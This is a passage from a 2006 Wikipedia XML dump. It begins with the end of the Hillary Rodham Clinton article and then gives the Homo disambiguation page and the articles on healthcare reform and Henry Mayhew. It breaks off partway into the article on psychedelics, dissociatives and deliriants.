Senator Clinton sits on four Senate Committees with a total of eight subcommittee assignments: the [[U.S. Senate Committee on Armed Services|Senate Committee on Armed Services]] with three subcommittee assignments, on Airland, on Emerging Threats and Capabilities, and on Readiness and Management Support; the [[U.S. Senate Committee on Environment and Public Works|Senate Environment and Public Works Committee]] with three subcommittee assignments on Clean Air, Wetlands, Private Property, and Nuclear Safety, on Fisheries, Wildlife, and Water and on Superfund, Waste Control, and Risk Assessment; the [[U.S. Senate Committee on Health, Education, Labor and Pensions|Senate Health, Education, Labor and Pensions Committee]], with two subcommittee assignments, on Aging and on Children and Families; and the Senate Special Committee on Aging.

===Initatives===
Senator Clinton has made [[homeland security]] one of her top issues following the [[September 11, 2001 attacks|September 11, 2001 terrorist attacks]] on the [[World Trade Center]] in downtown [[New York City]], especially regarding obtaining funding for recovery from the attacks and for improving security capabilities in the New York City area. She was audibly booed by some in an audience of New York firefighters and police officers during her on-stage appearance at [[The Concert for New York City]] on [[October 20]], [[2001]]. [http://www.post-gazette.com/forum/20011029edhil29p3.asp] Senator Clinton worked with Senator Schumer to secure $21.4 billion in funding to assist clean up and recovery, to provide health tracking for first responders and volunteers at [[Ground Zero]], and to create grants for redevelopment. In [[2005]], Clinton issued two studies that examined the disbursement of federal homeland security funds to local communities and first responders. 

Clinton has used her membership on the Armed Services Committee to take a strong position in favor of U.S. military action in [[Afghanistan]] – with the additional benefit that it greatly improved the lives of women in that country, who had suffered terribly under the rule of the [[Taliban]] [http://www.time.com/time/nation/article/0,8599,185643,00.html] – and a somewhat weaker position regarding action in [[Iraq]] (her vote in support of initial military action against Iraq was criticized for being equivocal). Senator Clinton has visited U.S. forces (such as the [[Fort Drum, New York|Fort Drum]], New York-based [[U.S. 10th Mountain Division|10th Mountain Division]]) in both countries. In February 2005 she stated that much of Iraq was functioning well, elections in Iraq had succeeded, and that the insurgency there was failing [http://abcnews.go.com/Politics/wireStory?id=515943]. In July [[2005]] she co-introduced legislation to increase the size of the regular [[United States Army]] by 80,000 soldiers. [http://www.buffalonews.com/editorial/20050714/1063239.asp]  By late 2005, with domestic debate intensifying over whether and when the U.S. should remove its forces from Iraq, Clinton stated that immediate withdrawal would be &quot;a big mistake&quot;, leading to Iraq becoming &quot;a failed state&quot;, but that the Bush administration's open-ended commitment to stay in Iraq was also misguided, as it gives Iraqis &quot;an open-ended invitation not to take care of themselves.&quot; [http://www.billingsgazette.com/index.php?id=1&amp;display=rednews/2005/11/21/build/nation/39-clinton-iraq.inc]
This centrist and somewhat vague stance caused frustration among the Democratic party's anti-war activists [http://www.washingtonpost.com/wp-dyn/content/article/2005/12/11/AR2005121100846.html], who have even occasionally protested outside Clinton fundraisers.[http://www.foxnews.com/story/0,2933,172574,00.html]

===Other Issues===
Senator Clinton also became a national advocate for retaining and improving health and other benefits for veterans. By the end of 2005, her standing among the military community was much higher than it had been during her days as First Lady. [http://msnbc.msn.com/id/10313850/site/newsweek/]

Senator Clinton was a vocal opponent of the [[Bush Administration]]'s [[tax cuts]].

[[Image:Clinton Frist Health Policy.jpg|left|thumb|150px|Senators Clinton and Frist announce the Health Technology to Enhance Quality (Health TEQ) Act.]]
Clinton has pressed for education, labor, and technology infrastructure programs to assist economic development in upstate New York and similar regions. 
For example, in 2003, Clinton solicited offshoring firm [[Tata Consultancy Services]] to set up shop in economically beleaguered [[Buffalo, New York|Buffalo]], New York [http://www.tata.com/tcs/releases/20030310.htm].  In [[2004]], Clinton [http://washingtontimes.com/upi-breaking/20040429-070356-1811r.htm co-founded and became the co-chair] of the U.S. Senate India Caucus with the encouragement and aid of the [http://www.usinpac.com USINPAC] [[Political Action Committee]].
In [[2005]], Clinton co-sponsored with Senator [[Lindsey Graham]] the AMTAC proposal regarding incentives and rewards for completely domestic American manufacturing companies [http://www.amtacdc.org/]. As an advocate for her state, Senator Clinton led a bipartisan effort to bring [[broadband]] access to [[rural]] communities; co-sponsored the 21st Century Nanotechnology Research and Development Act; included language in the Energy Bill to provide tax exempt bonding authority for [[natural environment|environmentally]] conscious [[construction]] projects; and introduced an [[constitutional amendment|amendment]] calling for funding of new job creation to repair, renovate and modernize [[public schools]].

===1995===
In May 2005, Senator Clinton joined forces with her former adversary, House Speaker [[Newt Gingrich]], on a proposal for incremental universal health care [http://www.cnn.com/2005/POLITICS/06/06/klein.tm/index.html]. In June, [[2005]], Senator Clinton united with Senator [[Bill Frist]] to push for the modernization of medical records, claiming that thousands of deaths caused by medical mistakes, such as misreading prescriptions, can be prevented by greater reliance on computer technology [http://www.cnn.com/2005/POLITICS/06/16/clinton.frist.healthcare.ap/index.html].

In July 2005, Senator Clinton called for the [[Federal Trade Commission]] to investigate how [[Hot Coffee mod|hidden sex scenes]] showed up in the controversial [[Computer and video games|video game]] ''[[Grand Theft Auto: San Andreas]]''. [http://leisure.newstimeslive.com/story.php?id=73260&amp;category=Entertainment]

====Supreme Court Nominations====
In 2005, during the intense debate over the [[filibuster|filibustering]] of some of [[President George W. Bush]]'s federal judicial nominations, Senator Clinton generally kept a low profile. [http://www.suntimes.com/output/elect/cst-nws-fwin25.html]  She was not part of the &quot;[[Gang of 14]]&quot; that resolved the dispute short of the &quot;[[nuclear option (filibuster)|nuclear option]]&quot;, but she did vote to endorse that resolution and end debate on the nominations, thereby allowing the nominations to come to a vote. She subsequently voted against three of the nominees, but all were confirmed. [http://www.foxnews.com/story/0,2933,157604,00.html]  Regarding the [[Supreme Court of the United States|Supreme Court]] nomination of [[John Roberts]], in September 2005 Clinton voted against his confirmation, saying &quot;I do not believe that the Judge has presented his views with enough clarity and specificity for me to in good conscience cast a vote on his behalf,&quot; but that she hoped her concerns would be unfounded. [http://clinton.senate.gov/news/statements/details.cfm?id=246324&amp;&amp;]  Roberts was confirmed by a solid majority, with half the Senate's Democrats voting for him and half against. [http://www.ksbitv.com/home/1862927.html] Regarding the Supreme Court nomination of [[Samuel Alito]], in January and February 2006 Clinton not only joined almost all Senate Democrats in voting against his confirmation, but also joined about half the Democrats in supporting a filibuster against bringing his nomination to a vote [http://www.indystar.com/apps/pbcs.dll/article?AID=/20060131/NEWS06/601310465/1012], saying &quot;He would roll back decades of progress, and roll over when confronted with an administration too willing to play fast and loose with the rules.&quot; [http://1010wins.com/topstories/local_story_028082921.html] That effort failed and Alito was confirmed on a largely party-line vote.

===Legislation===
Clinton sought to establish an independent, bipartisan panel patterned after the [[National Commission on Terrorist Attacks Upon the United States|9/11 Commission]] to investigate what went wrong with federal, state and local governments' response to [[Hurricane Katrina]].  She failed to win over a two-thirds majority needed to overcome procedural hurdles in the Senate rules. [http://www.breitbart.com/news/2005/09/14/D8CK6RV01.html]

On [[November 29]], [[2005]], Clinton, together with [[Joe Lieberman]] and [[Evan Bayh]] introduced the [[Family Entertainment Protection Act]]. The act is intended to protect children from inappropriate content found in video games. Similar bills have been filed in some U.S. states such as Michigan and Illinois, but were ruled to be unconstitutional.

==The 2006 Senate race==

Clinton announced in November 2004 that she will seek a second term in the Senate in the [[New York U.S. Senate election, 2006|2006 New York election for Senator]]. The two most prominent Republicans contemplating a challenge to Senator Clinton were [[lawyer]] [[Ed Cox]] (the son-in-law of former President [[Richard M. Nixon]]) and [[Westchester County, New York|Westchester County]] [[District Attorney]] [[Jeanine Pirro]]. On [[October 14]], [[2005]], New York Governor [[George Pataki]] formally endorsed Pirro, causing Cox to drop out of the race [http://www.buffalonews.com/editorial/20051015/1031517.asp]. However, Pirro trailed Clinton badly in fund-raising and in polls, and under pressure from state party officials dropped out of the race herself on [[December 21]], [[2005]] [http://www.cnn.com/2005/POLITICS/12/21/ny.pirro/index.html], leaving the Republicans without a well-known candidate. Possible Republican nominees now include Cox; former [[Yonkers, New York|Yonkers]], New York, mayor [[John Spencer (politician)|John Spencer]]; and K. T. (Kathleen Troia) McFarland, who was a [[Pentagon]] spokeswoman under President [[Ronald Reagan]].

Clinton also faces opposition for the Democratic party nomination for Senate; it comes from the anti-war base of her own party that has become increasingly frustrated with her support for the Iraq War. 
In October 2005 [[New Paltz, New York|New Paltz]] firefighter and activist [[Steven Greenfield]] announced he would run against her.  Then on December 6, 2005, labor advocate [[Jonathan Tasini]] announced that he would run against her as well [http://www.nysun.com/article/24079], calling for immediate withdrawal of troops from Iraq, [[universal health care]] and what he terms &quot;New Rules For the Economy,&quot; a more labor-centric as opposed to the corporate-centric approach to economic matters espoused  by Clinton. Tasini is supported by anti-war activist [[Cindy Sheehan]], who had in October said, &quot;I will resist her candidacy with every bit of my power and strength...I will not make the mistake of supporting another pro-war Democrat for president again.&quot; [http://www.madison.com/tct/opinion/index.php?ntid=64347&amp;ntpid=10]

==Speculation about possible 2008 presidential bid==

Clinton has expressed interest in the [[U.S. presidential election, 2008|2008 U.S. presidential race]] [http://www2.chinadaily.com.cn/en/doc/2003-11/27/content_285278.htm]. No woman has ever been nominated for President by a major party. 

Clinton has an established national image that makes her possible candidacy in [[U.S. presidential election, 2008|2008]] a popular and controversial topic among media pundits, [[weblog|bloggers]], and the public at large.  For example, in July 2005 the magazine ''[[Washington Monthly]]'' ran two side-by-side articles, one thinking that she could win the presidency and one thinking that she could not [http://www.washingtonmonthly.com/features/2005/0507.cannon.html] [http://www.washingtonmonthly.com/features/2005/0507.sullivan1.html]. In a December 2005 [[CNN]]/[[USA Today]]/[[Gallup]] poll, 41% of Democrats preferred her for the 2008 presidential nomination. [http://www.pollingreport.com/WH08dem.htm] 
In a poll conducted by the same organizations in May 2005, when general voters were asked the likelihood of voting for Senator Clinton for president, 29% of respondents were very likely, 24% were somewhat likely, 7% were not very likely, and 39% were not at all likely. In June 2003, in a similar poll, the numbers had been 21% very likely, 21% somewhat likely, 12% not very likely, and 44% not at all likely. In May 2005, 55% of respondents held a favorable view of Senator Clinton, while 39% held an unfavorable view of her [http://www.cnn.com/2005/POLITICS/05/26/hillary.clinton/index.html]. These findings were similar to the June 2003 poll that found 53% reacted favorably toward her and 41% unfavorably, with the undecided/no opinion bloc representing only 6% of those polled.

Following the 2004 election cycle, Clinton began what some saw as a movement to the political [[center]] by supporting health care reform with [[Contract with America]] architect and former adversary [[Newt Gingrich]]. [http://www.newsday.com/news/local/wire/newyork/ny-bc-ny--clinton-gingrich0721jul21,0,7550602.story]
The alignment represents for both a reconciliation with the past, for it was Gingrich that helped defeat Clinton's health care plan in the early 1990s. Clinton's January 2005, speech on abortion [[#Eliminating without criminalizing abortion|quoted below]] was viewed by some as part of her alleged move to the center. [[Liberalism|Liberal]] media watchdog [[Media Matters]] has offered evidence that Clinton's positions have remained consistent with her past [http://mediamatters.org/items/200501260014] [http://mediamatters.org/items/200502020002]. In August 2005, the Los Angeles Times reported that Clinton was positioning herself as a centrist [http://www.latimes.com/news/nationworld/nation/la-na-hillary8aug08,0,1894074.story?coll=la-home-nation]; critics [http://independentsources.com/2005/08/08/los-angeles-times-hillary-a-moderate-independent-sources-not-so-fast/] cited her Senate voting record as proof that was not the case.

In February 2005, associates of Republican political consultant [[Arthur J. Finkelstein|Arthur Finkelstein]] announced he would be forming a [[Political action committee|PAC]] entitled [http://www.stophernow.com/ Stop Her Now] with the stated goal, &quot;to shed light on the REAL Hillary Clinton and the danger she and her ideas pose for America.&quot;

In January 2006, the moderate-liberal magazine ''[[The New Republic]]'' attempted to debunk the &quot;myth&quot; that Senator Clinton's popularity in traditionally Republican upstate New York was unprecedented, arguing both that the region was not as conservative as was often assumed in the national media and that her approval ratings there were comparable to those of other prominent Democrats.  The article challenged the assumption that Sen. Clinton's appeal in upstate New York would be the harbinger of her ability to attract support from moderates and conservatives nationwide, setting off a debate throughout the [[blogosphere]] as to her presidential prospects [http://www.tnr.com/doc.mhtml?i=20060130&amp;s=katz013006].

In February 2006, TheWhiteHouseProject.org[http://www.thewhitehouseproject.org] named Hillary Rodham Clinton one of its &quot;8 in '08&quot;, a group of eight female politicians who could possibly run and/or be elected president in 2008.  That same month, Clinton won the endorsement of former German Chancellor [[Gerhard Schröder]], who said, &quot;I'd be very pleased if Hillary Clinton would become the next American president.&quot; [http://www.newsday.com/news/local/wire/newyork/ny-bc-ny--schroeder-clinton0211feb11,0,1792602.story]

==Political views==
{{main|Political views of Hillary Rodham Clinton}}
As a United States Senator and former First Lady, Clinton has articulated her views on issues ranging from terrorism to abortion. 

In a Gallup poll conducted during May, 2005, 54% of respondents considered Senator Clinton a liberal, 30% considered her a moderate, and 9% considered her a conservative. [http://www.cnn.com/2005/POLITICS/05/26/hillary.clinton/index.html]. In 2004, the ''[[National Journal]]'''s study of roll-call votes assigned Clinton a rating of 30 in the political spectrum, relative to the current Senate, with a rating of 1 being most liberal and a rating of 100 being most conservative [http://msnbc.msn.com/id/8573139/][http://www.apsanet.org/imgtest/TheMostLiberalSenator-Clinton.pdf].

==Clinton's writings and recordings==
[[Image:Living History.jpg|framed|right|Clinton's autobiography ''Living History'']]

As First Lady, Clinton published a weekly newspaper column entitled &quot;Talking It Over&quot;, focusing on her experiences and her observations of women, children, and families she encountered during her travels around the world.  

The [[1996]] book, ''[[It Takes a Village|It Takes a Village: And Other Lessons Children Teach Us]]'' became a best-seller, and she received the [[1997]] [[Grammy Award for Best Spoken Word Album]] for her recording of it.  Clinton's book references the African proverb that &quot;it takes a village to raise a child.&quot; 

Other books released by Clinton as First Lady include ''An Invitation to the White House: At Home with History'' (2000) and ''Dear Socks, Dear Buddy: Kids' Letters to the First Pets'' (1998).

Clinton's memoirs, as the 562-page book ''[[Living History]]'', were released in [[2003]].  The book sold more than one million copies in the first month following publication. In anticipation of these sales, the publisher [[Simon &amp; Schuster]] paid her an advance of $8 million&amp;mdash;a record figure at that time. Her recording in that year of ''Living History'' earned her a second Grammy nomination in the Best Spoken Word Album category. ''Living History'' was translated into several foreign languages including [[Chinese language|Chinese]].

Clinton has been criticized for not giving adequate credit to the [[ghostwriter]]s of her published works. {{see|Controversies surrounding Hillary Rodham Clinton#Ghostwriters}}

==Controversies==
{{main|Controversies surrounding Hillary Rodham Clinton}}
Clinton's role in public life has not been free of controversy or criticism. Clinton has faced a number of accusations, ranging from the serious to the lurid.

==Cultural matters==
{{main|Cultural matters related to Hillary Rodham Clinton}}
As one of the highest-profile American female political figures, Clinton has been involved in a number of situations that attracted attention to cultural matters.

== Awards and honors ==

In [[May 1998]], Clinton received the [[United Arab Emirates]] Health Foundation Prize for her work in health and social welfare, especially as it related to women, children, and families. [http://www.who.int/inf-pr-1998/en/pr98-WHA6.html]

In [[April 1999]], Clinton was honored with the Lifetime Achievement Award from the [[Children of Chernobyl Relief Fund]] for her support of that [[Ukraine|Ukrainian]] organization's efforts regarding legacy effects of the  [[Chernobyl accident]]. [http://www.brama.com/news/press/990421ccrf-hillary.html]

In [[June 1999]], Clinton received the &quot;Mother Teresa Award&quot;, the highest honor given to civilians by [[Albania]].   This was in recognition of her humanitarian efforts following the [[Kosovo War]] and worldwide. [http://www.cnn.com/ALLPOLITICS/stories/1999/06/22/hrc.award/]

On [[March 26]], [[2004]], Clinton was presented with the inaugural Nursing Health and Humanity Award from the [[University of Rochester]] School of Nursing. [http://www.urmc.rochester.edu/pr/news/story.cfm?id=505]

On [[February 13]], [[2005]], Clinton was given the [[German Media Prize 2004]], &quot;Hillary Clinton is a model politician for millions of women around the world&quot; who &quot;represents in an exemplary way women's rights&quot;, the jury for the prize said. [http://www.turkishpress.com/news.asp?ID=37312] 

On [[February 15]], [[2005]], Clinton was given the [[American Medical Women's Association]]'s &quot;President’s Vision &amp; Voice Award&quot;, for being an advocate for women's health and related issues. [http://www.amwa-doc.org/index.cfm?objectId=C655C098-D567-0B25-599D5617D530AAD4]

On [[July 30]], [[2005]], Clinton was given the [[Reserve Officers Association]]'s National President's Award. [http://msnbc.msn.com/id/10313850/site/newsweek/] [http://clinton.senate.gov/newyork/events/index.cfm]

On [[October 9]], [[2005]], Clinton was inducted into the [[Women's Hall of Fame]]. [http://news.yahoo.com/s/ap/20051009/ap_on_re_us/women_s_hall_of_fame]

==Further reading==
{{main|List of Books about Hillary Rodham Clinton}}

==External links==
[[Image:Clinton Village.jpg|framed|right|Clinton's best-selling book ''It Takes a Village'']]
{{Commons|Hillary Rodham Clinton}}
{{wikiquote}}

===Official links===
*[http://clinton.senate.gov Senator Clinton's official web site]
*[http://www.hillaryclinton.com HillaryClinton.com: Official 2006 Senate campaign website]
*[http://www.whitehouse.gov/history/firstladies/hc42.html Biography of First Lady Clinton]

===Unofficial links===
*[http://votehillary.org Official Draft Hillary Rodham Clinton for President 2008 site]
*[http://hillary2008.forumsplace.com/ Hillary Rodham Clinton 2008 Discussion Board]

*[http://search.looksmart.com/p/browse/us1/us317836/us552286/us53440/us10087063/us10087066/us588533/us53459/us10087022/us259204/us1175465/us1175466/us525987/ LookSmart - ''Hillary Clinton''] directory category
*[http://dir.yahoo.com/Regional/U_S__States/New_York/Government/Elected_and_Appointed_Officials/U_S__Senators/Clinton__Hillary_Rodham__D_/ Yahoo! - ''Hillary Rodham Clinton''] directory category
*[http://dmoz.org/Regional/North_America/United_States/Government/Legislative_Branch/Senate/Members/Clinton,_Hillary_Rodham_%5bD-NY%5d/ Open Directory Project - ''Hillary Rodham Clinton''] directory category
*[http://www.patrickruffini.com/2008wire/index.php?c=Clinton 2008 Presidential Wire - Sen. Hillary Rodham Clinton]

*[http://www.justhillary.com/ Hillary Clinton news digest site]

*[http://www.learningtimes.net/news_04212004.shtml Clinton Leads Online Panel on &quot;Non-Traditional Students&quot;]

===Senate races===
*[http://www.hillaryclinton.com Hillary Clinton for Senate]
*[http://www.ontheissues.org/NY_Senate_NBC.htm Clinton's positions in 2000 Senate Race]
*[http://www.cnn.com/2000/LOCAL/northeast/07/21/mny.hillary.jews/ Clinton enjoys strong support from Jewish voters]
*[http://dir.salon.com/politics/feature/2000/11/02/news/index.html Allegations during the Senate Race]
* [http://www.jewishworldreview.com/0700/hillary.slur.asp Jewish Vote Crucial]
* [http://www.cbsnews.com/stories/2000/11/03/politics/main246677.shtml Results &amp; Demographic Breakdown of Votes]
* [http://www.detnews.com/2001/politics/0105/04/a05-220310.htm New Square]
* [http://query.nytimes.com/gst/abstract.html?res=F60C1FFA395B0C728EDDAF0894DA404482 Prosecutors Clear Clintons in Hasidic Case]

===Possible presidential race===
*[http://www.hillpac.com/ HillPAC] - Leadership PAC
*[http://www.votehillary.org/ VoteHillary] - Unofficial Hillary Clinton For President Committee
*[http://www.votehillary.org/ Draft Hillary for President 2008] - Draft Hillary Rodham Clinton For President 2008 {{start box}}
{{succession box
| before=[[Barbara Bush]]
| title=[[First Ladies of the United States|First Lady of the United States]]
| years= 1993 &amp;ndash; 2001
| after=[[Laura Bush]]}}
{{incumbent U.S. Senator box
| state=New York
| class=1
| before=[[Daniel Patrick Moynihan]]
| alongside=[[Charles Schumer]]
| start=2001}}
{{end box}}
{{USFirstLadies}}
{{NY-FedRep}}
{{Current U.S. Senators}}
&lt;!-- [[Wikipedia:Persondata]] --&gt;
{{Persondata
|NAME=Clinton, Hillary Rodham
|ALTERNATIVE NAMES=Rodham, Hillary Diane
|SHORT DESCRIPTION=U.S. Senator, U.S. First Lady.
|DATE OF BIRTH=[[October 26]] [[1947]]
|PLACE OF BIRTH=[[Chicago]]
|DATE OF DEATH=
|PLACE OF DEATH=}}
[[Category:1947 births|Clinton, Hillary Rodham]]
[[Category:Alpha Phi Omega honorary brothers|Clinton, Hillary Rodham]]
[[Category:American law professors|Clinton, Hillary Rodham]]
[[Category:American lawyers|Clinton, Hillary Rodham]]
[[Category:Women lawyers|Clinton, Hillary Rodham]]
[[Category:American women|Clinton, Hillary Rodham]]
[[Category:Bill Clinton|Clinton, Hillary Rodham]]
[[Category:Chicago politicians|Clinton, Hillary Rodham]]
[[Category:Computer and video game critics|Clinton, Hillary Rodham]]
[[Category:Debaters|Clinton, Hillary Rodham]]
[[Category:Female United States Senators|Clinton, Hillary Rodham]]
[[Category:First Ladies of the United States|Clinton, Hillary Rodham]]
[[Category:Grammy Award Winners|Clinton, Hillary Rodham]]
[[Category:Hillary Rodham Clinton|*]]
[[Category:Living people|Clinton, Hillary Rodham]]
[[Category:Methodists|Clinton, Hillary Rodham]]
[[Category:People from Arkansas|Clinton, Hillary Rodham]]
[[Category:Pro-choice politicians|Clinton, Hillary Rodham]]
[[Category:United States Senators from New York|Clinton, Hillary Rodham]]
[[Category:Wal-Mart|Clinton, Hillary Rodham]]
[[Category:Welsh-Americans|Clinton, Hillary Rodham]]
[[Category:Yale Law School graduates|Clinton, Hillary Rodham]]
[[Category:Yale alumni|Clinton, Hillary Rodham]]


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      <text xml:space="preserve">{{Wiktionarypar|homo}}
'''Homo''' may refer to:
* [[Homo (genus)]]
* [[HOMO/LUMO]], Highest Occupied Molecular Orbital
* [[Swedish Ombudsman against Discrimination on Grounds of Sexual Orientation]], short form: HomO 
* Slang for a [[homosexual]] person, generally considered offensive in the [[United States]].


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    <title>Healthcare reform</title>
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      <text xml:space="preserve">{{NPOV}}
''(This article is about political movements affecting the delivery of healthcare and healthcare systems. For more information about movements to improve health, see [[Health reform]].)''

----

'''Healthcare reform''' is a general rubric used for discussing major policy changes--for the most part, governmental policy changes--to any existing [[healthcare system]] in a given place. Healthcare reform typically attempts to:
* Broaden the population covered by private or public [[health insurance]]
* Broaden the choice of healthcare providers
* Improve the access to healthcare specialists
* Improve the quality of [[healthcare]]
* Decrease the cost of healthcare
* Decrease the cost of health insurance

In the [[United Kingdom]] a massive programme of attempted reform of the [[British National Health Service]] has begun. In the [[United States]], healthcare reform was the major [[United States]] concern of the [[Clinton administration]] headed up by First Lady [[Hillary Clinton]], however, her complex proposal was not enacted into law. U.S. efforts to achieve universal coverage began with Theodore Roosevelt and continue to today.

As evidenced by the large variety of different health care plans seen across the world, there are several different pathways that a country could take when thinking about reform.  Germany for instance, makes use of sickness funds, which citizens are obliged to join but are able to opt out (Belien 87).  The Netherlands uses a similar system but the financial threshold for opting out is lower (Belien 89).  The Swiss, on the other hand use more of a privately based health insurance system where citizens are risk-rated by age and sex, among other factors (Belien 90).  The United States employs a different &quot;system&quot; where health insurance is not in fact available to all of its citizens.  

One point worth noting when considering different proposals of health reform is the relationship between total health care spending per capita and GDP per capita.  Many people feel that the level of health spending may be indicative of enacting reform.  However, when this data is graphed comparing developed countries across the world, a nearly linear relationship is revealed, with the United States and Luxembourg as the clear outliers (RAND 4).  This data leads one to think that regardless of which type of coverage a country employs, it is likely to be spending the same amount on health insurance.  Therefore, it is important to consider health outcomes and use of medical services, to name a few additional factors.  This further complicates the process of the healthcare reform, making it all the more difficult to find the correct system (if one exists) for a country.

==References==

Belien, Paul.  &quot;Healthcare Systems - A New European Model?&quot;  PharmacoEconomics.  Vol 18, supplement 1, (2000).  85-93.

Goldman, Dana and Elizabeth McGlynn.  &quot;U.S. Health Care - Facts About Cost, Acess, and Quality.&quot;  RAND Corporation (2005).

==See also==
*[[US health reform 1912-1920]]
*[[US health reform under FDR]]
*[[US health reform under Truman]]
*[[US health reform under Nixon]]
*[[US health reform under Carter]]
*[[US health reform under Clinton]]

[[de:Gesundheitsreform]]

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      <text xml:space="preserve">[[Image:Henrymayhew.png|thumb|Henry Mayhew, from London Labour and the London Poor (1861)]]

'''Henry Mayhew''' ([[November 25|25 November]] [[1812]] - [[July 25|25th July]] [[1887]]) was an English journalist and one of the founders of the humorous magazine ''[[Punch magazine|Punch]]'', and the [[magazine]]'s editor for its beginning days.

He is most famous now for his newspaper articles in the ''[[Morning Chronicle]]'', in which he carried out a survey of the poor of [[London]].

He wrote: &quot;''I shall consider the whole of the metropolitan poor under three separate phases, according as they ''will'' work, they ''can't'' work, and they ''won't'' work''.&quot;

He interviewed everyone&amp;mdash;beggars, street-entertainers (such as [[Punch and Judy]] men), market traders, [[prostitute|prostitutes]], labourers, [[sweatshop]] workers, even down to the &quot;mudlarks&quot; who searched the stinking mud on the banks of the [[River Thames]] for wood, metal, rope and coal from passing ships, and the &quot;pure-finders&quot; who gathered dog faeces to sell to tanners. He described their clothes, how and where they lived, their entertainments and customs, and made detailed estimates of the numbers and incomes of those practicing each trade. The books make fascinating reading, showing how marginal and precarious many peoples lives were, in what, at that time, must have been the richest city in the world.

The articles were collected together in book form under the title ''[[London Labour and the London Poor]]''. This was in three volumes in 1851: the 1861 edition included a fourth volume on the lives of prostitutes, thieves and beggars.

==External links==
*[http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A2000.01.0026&amp;layout=&amp;loc=iv&amp;query=toc London Labour and the London Poor: Volume 1] ''Bolles London'' collection
*[http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A2000.01.0027&amp;layout=&amp;loc=2&amp;query=toc London Labour and the London Poor: Volume 2] ''ditto''
*[http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A2000.01.0028&amp;layout=&amp;loc=2&amp;query=toc London Labour and the London Poor: Volume 3] ''ditto''
*[http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A2000.01.0029&amp;layout=&amp;loc=&amp;query=toc London Labour and the London Poor: Extra Volume] ''ditto''

[[Category:1812 births|Mayhew, Henry]]
[[Category:1887 deaths|Mayhew, Henry]]
[[Category:English journalists|Mayhew, Henry]]
[[Category:british magazine editors|Mayhew, Henry]]</text>
    </revision>
  </page>
  <page>
    <title>Psychedelics, dissociatives and deliriants</title>
    <id>13254</id>
    <revision>
      <id>41779681</id>
      <timestamp>2006-03-01T18:18:00Z</timestamp>
      <contributor>
        <username>Awaggener</username>
        <id>529633</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''&quot;Hallucinogen&quot; redirects here. For the psychedelic trance project of Simon Posford, see [[Hallucinogen (musician)]].''

Certain [[Psychoactive drugs|drug]]s can affect the subjective qualities of [[perception]], [[thought]] or [[emotion]], resulting in altered interpretations of sensory input, alternate states of [[consciousness]], or [[hallucination]]s. This general group of [[pharmacology|pharmacological]] agents can be divided into three broad categories: '''psychedelics''', '''dissociatives''' and '''deliriants'''. All of these agents act as [[neurotransmitter]] mimics, often as [[agonist]]s or [[antagonist]]s at neurotransmitter [[Receptor (biochemistry)|receptors]]. Their primary effects are markedly different from those of [[stimulant]]s like [[cocaine]] or [[amphetamine]]s, although most do have stimulating effects.

The term '''hallucinogen''' is often broadly applied, especially in current scientific literature, to some or all of these substances. The term is attracting increasing criticism, however, for being ethnocentric, dependent upon too broad a definition of hallucination, and implying that certain symptoms that are actually only associated with some substances are applicable to all of them. In all but a tiny minority of psychedelics, dissociatives, and deliriants, hallucinations of various kinds are only one of many effects produced. The nature of the hallucinations produced is dependent on the specific compound. Broadly speaking, psychedelics more often have various visually distorting effects, deliriants are a class of drug that commonly cause extremely strong, often overpowering and unwanted visual and auditory hallucinations.  

These substances have a millennial history of traditional use in medicine and religion, where they have been prized for their perceived ability to enhance certain abilities and promote physical and mental healing. Together with other plant agents, like [[tobacco]], they are thought to be the primary tools of [[shamans]] and other [[hierophant|hierophants]]. [[Indigenous peoples of the Americas|Native American]] practitioners using [[peyote]] have reported success against [[alcoholism]], and [[Mazatec]] practitioners routinely use [[psychedelic mushroom|psilocybin mushroom]]s for healing and divination.

== Psychedelics ==
:''Main article: [[psychedelic drug]]''
The ''psychedelic'' (mind manifesting) drugs are classified as those whose primary action is that of enhancing or amplifying the thought processes of the brain typically through the disabling of filters which block or suppress unimportant or undesired signals to the conscious mind from other parts of the brain, including but not limited to the senses, emotions, memories and the unconscious (or subconscious) mind.  This effect is sometimes referred to as ''mind expanding'', or ''consciousness expanding'' as the conscious mind becomes aware of (or sometimes assaulted by) things normally inaccessible to it.  At high levels this can become very overwhelming, and can result in achieving a dissociative state.

Classic psychedelics include [[LSD]] (acid), [[psilocybin]] (magic mushrooms), [[mescaline]] (peyote), [[ergoline|LSA]] (morning glory seeds) and also [[Ayahuasca]] ([[yage]]).  Some of the synthetic &quot;club drugs&quot; such as [[MDMA]] (ecstasy), [[2C-B]] (nexus), [[2,5-dimethoxy-4-methylamphetamine|DOM]] (STP) and [[5-MeO-DIPT]] (Foxy Methoxy) which have much more specific action to particular aspects of the psyche are also classed as psychedelics, as well as [[cannabis (drug)|cannabis]] (marijuana).

Some psychedelics (namely LSD, psilocybin and cannabis) are extremely non-toxic, making it nearly impossible to physically overdose.

:''See also: [[Serotonergic psychedelics]]''

== Dissociatives ==
:''Main article: [[dissociative drug]]''
A ''dissociative'' is a drug which reduces (or blocks) signals to the conscious mind from other parts of the brain, typically (but not necessarily, or limited to) the physical senses.  Such a state of [[sensory deprivation]] can facilitate self exploration, hallucinations, and dreamlike states of mind which may resemble some psychedelic mindstates.  Essentially similar states of mind can be reached via contrasting paths -- psychedelic or dissociative.  That said, the entire experience, risks and benefits are markedly different.

The primary dissociatives are similar in action to [[Phencyclidine|PCP]] (angel dust) and include [[Ketamine]] (an anaesthetic), and [[DXM]] (the active ingredient in cough syrup).  Also included are [[nitrous oxide]], [[salvia divinorum]], and [[muscimol]] from the [[amanita muscaria]] (fly agaric) mushroom.

Some dissociatives also have [[central nervous system|CNS]] [[depressant]] effects, thereby carrying similar risks as [[opioids]] to slowing breathing or heart rate to levels resulting in death (when using very high doses). This does not appear to be true in other cases, toxic effects do not appear to exist in the case of salvia divinorum, and the principal risk of nitrous oxide seems to be due to [[Hypoxia (medical)|oxygen deprivation]]. Long term use of dissociative anesthetics such as [[Phencyclidine|PCP]] and [[Ketamine]] (and possibly [[Dextromethorphan|DXM]]) have been suspected to cause [[Olney's lesions]], though these lesions have never been demonstrated in primates to date.

== Deliriants ==
:''Main article: [[deliriant]]''
